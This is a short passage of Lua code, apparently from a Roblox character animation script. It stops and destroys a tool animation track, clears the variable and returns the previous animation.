toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end